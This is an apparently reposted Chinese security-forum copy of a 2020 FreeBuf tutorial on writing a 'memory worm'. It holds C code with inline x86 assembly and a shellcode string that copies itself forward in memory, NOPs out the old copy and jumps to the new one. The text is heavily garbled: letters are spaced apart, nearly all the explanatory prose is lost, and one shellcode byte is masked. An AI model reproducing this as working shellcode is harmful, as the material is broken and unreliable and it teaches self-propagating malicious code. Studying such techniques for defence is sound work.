[15210] 2020-04-03_如何编写一段内存蠕虫?

文档创建者:s7ckTeam
浏览次数:2
最后更新:2025-01-18
2020-04-03_如何编写一段内存蠕虫? e r   F r e e B u f   2 0 2 0 - 0 4 - 0 3 s h e l l c o d e s h e l l c o d e x 9 0 s h e l l c o d e s h e l l c o d e s h l l c o d e p r i n t f 0 x 0 1   p r i n t f 0 x 0 0 4 0 1 0 7 0   p r i n t f p r i n t f r e t s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e 0 x 0 2   # i n c l u d e   " s t d i o . h " i n t   m a i n ( ) {     p r i n t f ( " b e g i n n " ) ;     c h a r   * s t r = " a = % d n " ;     _ _ a s m {         m o v   e a x , 5         p u s h   e a x         p u s h   s t r         m o v   e a x , 0 x 0 0 4 0 1 0 7 0         c a l l   e a x         a d d   e s p , 8         r e t     }         r e t u r n   0 ; } c h a r   s h e l l c o d e [ ] = " x B 8 x 0 5 x 0 0 x 0 0 x 0 0 x 5 0 x F F x 7 5 x F C x B 8 x 7 0 x 1 0 x 4 0 x 0 0 x F F x D 0 x 8 3 x * * x 0 8 x c 3 " ; i n s e c t : m o v   b l , b y t e   p t r   d s : [ e a x + e d x ]           m o v   b y t e   p t r   d s : [ e a x + e d x + 2 0 ] , b l           m o v   b y t e   p t r   d s : [ e a x + e d x ] , 0 x 9 0           i n c   e d x           c m p   e d x , 2 0           j e   e e           j m p   i n s e c t e e :         a d d   e a x , 2 0         p u s h   e a x         c a l l   e a x
s h e l l c o d e 2 0 s s + 2 0 0 x 9 0 i n s e c t 2 0 s h e l l c o d e s h e l l c o d e 2 0 e a x 2 0 e d x 0 便 s h e l l c o d e i n s e c t e e i n s c e t e e s h e l l c o d e s h e l l c o d e 0 x 0 3   s h e l l c o d e s h e l l c o d e 0 x 9 0 p r i n t f         p o p   e a x         x o r   e d x , e d x         j m p   i n s e c t # i n c l u d e   " s t d i o . h " c h a r   s h e l l c o d e [ ] = " x B 8 x 0 5 x 0 0 x 0 0 x 0 0 x 5 0 x F F x 7 5 x F C x B 8 x 7 0 x 1 0 x 4 0 x 0 0 x F F x D 0 x 8 3 x * * x 0 8 x c 3 " ; i n t   m a i n ( ) {     p r i n t f ( " b e g i n n " ) ;     c h a r   * s t r = " a = % d n " ;     _ _ a s m {         l e a   e a x , s h e l l c o d e         p u s h   e a x         c a l l   e a x         p o p   e a x         x o r   e d x , e d x i n s e c t : m o v   b l , b y t e   p t r   d s : [ e a x + e d x ]           m o v   b y t e   p t r   d s : [ e a x + e d x + 2 0 ] , b l           m o v   b y t e   p t r   d s : [ e a x + e d x ] , 0 x 9 0           i n c   e d x           c m p   e d x , 2 0           j e   e e           j m p   i n s e c t e e :         a d d   e a x , 2 0         p u s h   e a x         c a l l   e a x         p o p   e a x         x o r   e d x , e d x         j m p   i n s e c t     }     r e t u r n   0 ; }
0 x 0 4   s h e l l c o d e s h e l l c o d e s h e l l c o d e s h e l l c o d e * e r F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则